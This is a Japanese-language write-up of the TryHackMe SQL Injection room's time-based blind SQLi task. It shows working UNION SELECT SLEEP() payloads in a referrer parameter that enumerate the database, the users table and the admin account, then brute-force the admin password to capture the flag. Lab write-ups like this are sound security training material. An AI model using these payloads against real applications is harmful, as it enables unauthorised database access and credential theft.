TryHackMeのSQL Injection のwriteup。
個人的にメモっといた方が良いなと感じたポイントだけ、まとめておく。
Task 8: Blind SQLi- Time Based
Time Based Blind SQLiとはSQLインジェクションの一種で、クエリに対するアプリケーションからの応答時間に基づいて、インジェクションが成功したか否かを判断する攻撃手法である。
Time Based Blind SQLiにはSLEEP()
を用いる。
例えば、脆弱なアプリケーションに対して、テーブル内のカラムの数を確認したい場合は、以下のクエリを使用する。
' UNION SELECT SLEEP(5),2;--
上記のクエリに対して、アプリケーションから直ちに応答があった場合は、SQLインジェクションが失敗したことを意味する。
上記のクエリに対して、5秒後に応答があった場合は、SQLインジェクションが成功したことを意味し、テーブルに保有されているカラムの数は2個であると判断できる。
Task 8では、Time Based Blind SQLi攻撃を行って、ユーザー名とパスワードを窃取し、webアプリケーションへとログインしなければならない。
以下は、攻撃対象のURLである。
https://website.thm/analytics?referrer=<SQLi payload goes here>
referrer
パラメータに細工したSQLクエリを付与して攻撃を行う。
まずは以下のクエリを使用して、データベースの名前を総当たりしてみた。
referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'a%';--
上記のクエリはデータベースの1文字目がa
から始まるか確認する。
5秒後にアプリケーションから応答があった場合は、データベースの1文字目はa
だと判断できる。
アプリケーションから直ちに応答があった場合はデータベースの1文字目はa
以外と判断できるので、a%
をb%
に書き換えて再度クエリを送る。このクエリも失敗したら、b%
をc%
に書き換えて、再度クエリを送り、それも失敗したらd%
に書き換えて。。。と言った具合にデータベース名を総当たりしていく。
総当たりの結果、デーベース名の先頭4文字はsqli
と判明した。
referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 's%';--
referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'sq%';--
referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'sql%';--
referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'sqli%';--
直前のTaskでsqli_three
というデータベース名を目にしていたので、今回はsqli_four
なのでは?と思いつき、以下のクエリを送ってみた。
referrer=admin123' UNION SELECT SLEEP(5),2 from information_schema.tables WHERE table_schema='sqli_four';--
上記のクエリはsqli_four
という名前のデータベースが存在するか確認する。5秒後にアプリケーションから応答があったため、データベース名はsqli_four
と判明した。
続いて、sqli_four
データベースに保有されているテーブル名を割り出してみた。
決め打ちでusers
というテーブル名があるか確認してみた。
referrer=admin123' UNION SELECT SLEEP(5),2 from information_schema.tables WHERE table_schema='sqli_four' and TABLE_NAME='users' ;--
5秒後にアプリケーションから応答があったため、users
というテーブルが存在することが確認できた。
あとはusers
テーブルからログインに必要なユーザー名とパスワードを抜き取るだけである。
決め打ちでadmin
というユーザー名が存在するか確認してみた。
referrer=admin123' UNION SELECT SLEEP(5),2 from users where username='admin' ;--
5秒後にアプリケーションから応答があったため、users
テーブルにadmin
というユーザーが存在することが確認できた。
最後に、admin
のパスワードを総当たりしてみた。
referrer=admin123' UNION SELECT SLEEP(5),2 from users where username='admin' and password like '4%' ;--
referrer=admin123' UNION SELECT SLEEP(5),2 from users where username='admin' and password like '49%' ;--
referrer=admin123' UNION SELECT SLEEP(5),2 from users where username='admin' and password like '496%' ;--
referrer=admin123' UNION SELECT SLEEP(5),2 from users where username='admin' and password like '4961%' ;--
admin
のパスワードは4961
と判明した。
窃取したユーザー名とパスワードを使用して、アプリケーションにログインしたところ、フラグを取れた。